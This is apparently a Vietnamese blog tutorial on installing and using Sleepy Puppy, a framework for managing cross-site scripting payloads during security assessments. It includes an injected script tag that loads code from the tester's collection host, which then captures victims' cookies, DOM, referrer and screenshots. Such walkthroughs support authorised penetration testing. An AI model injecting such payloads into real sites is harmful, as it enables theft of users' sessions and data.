Điều kiện cần:
- Python 2.7
- Pip
- Git
Bắt đầu cài đặt:
Grap the repo:
Có thể sử dụng file đình kèm trong tài liệu để cài đặt chương trình.
Sử dụng trực tiếp bằng lệnh:
git clone https://github.com/sbehrens/sleepy-puppy.git
Setup a Virtual Environment
$sudo pip install virtualenv
$cd sleepy-puppy/
$virtualenv sleepyenv
$source sleepyenv/bin/activate
Install the required dependencies
$python setup.py install
Create database, seed database, create default login with ‘admin’ user
Có thể sử dụng rút gọn bằng 1 câu lệnh:
python manage.py setup_sleepy_puppy
Password nhập vào sẽ được sử dụng để đăng nhập vào trang quản lí với username=’admin’.
Ngoài ra cũng có thể cài đặt theo từng lệnh:
$python manage.py create_db
$python manage.py create_login admin
$python manage.py create_bootstrap_assessment
Các bước cài đặt cơ bản hoàn thành để kiểm tra sự hoạt động của sleepy-puppy:
Source Virtual Environmet
$cd sleepy-puppy/
$source sleepyenv/bin/activate
Run the Flask Application
$python manage.py runserver –host 0.0.0.0 –port 8000
Login với username= admin và password vừa nhập trong quá trình cài đặt.
II. Hướng dẫn sử dụng
Sau khi đăng nhập thành công ta vào được hệ thống với giao diện như sau:
Tạo
Assessment:
Snooze: Tùy chỉnh này giúp ích
khi ta tấn công một ứng dụng đang bị tấn công về băng thông. Khi đó ứng dụng sẽ ngừng thu thập thông tin và dữ
liệu, đồng thời dừng chụp màn hình.
Run Once: điều này có
nghĩa là các câu lệnh payload sẽ được thực hiện một lần và chứng minh rằng ứng
dụng bị lỗi XSS chứ không thu thập dữ liệu liên quan đến người dùng.
Tạo
User để sử dụng trong hệ thống:
Với Assessments là tài khoản vừa tạo.
Email là địa chỉ đăng kí để các lỗi
khai thác được sẽ được gửi về email đó.
Tag
PuppyScript
Tag này chứ các đoạn script được
định nghĩa sẵn để được gọi lại và thực hiện các tác vụ trong tấn công XSS như lấy
IP, Session, chụp ảnh màn hình….
Bên cạnh đó ta cũng có thể định tự
tạo ra các đoạn mã script để thực hiện các tác vụ riêng.
Tag Payload
Trong tag này sẽ chứ các câu lệnh
để inject vào các trang lỗi XSS với src là:
‘$1’
Ta có thể tạo mới một câu lệnh:
Khi sang assessment thì ‘$S1’ sẽ
được hệ thống thay thế như:
src=//127.0.0.1:8000/x?u=1&a=1
thì:
//127.0.0.1:8000/ : là địa chỉ host của ta và cổng
mở trên host tương ứng.
Giá
trị của u: là giá trị id tương ứng với câu inject.
Giá trị
a: thương ứng với id của user đó.
DEMO
Sau khi
inject thành công câu lệnh :
<script
src=//127.0.0.1:8000/x?u=1&a=2></script>
Ta thu
được kết quả bênh tag Capture:
Thông
tin thu được gồm:
Thời
gian thực hiện.
Câu lệnh
thực hiện
Người
thực hiện
Url
Refecrer
Cookie
User
Agent
Dom
Và
Screenshot
Dựa
vào các tùy chọn bên lệnh Puppyscript va các giá trị trả về sẽ chứa các thành
phần khác nhau.
Nếu ta
cho phép ghi log thì hệ thống sẽ ghi log với mỗi lần inject tương ứng.
Đăng nhận xét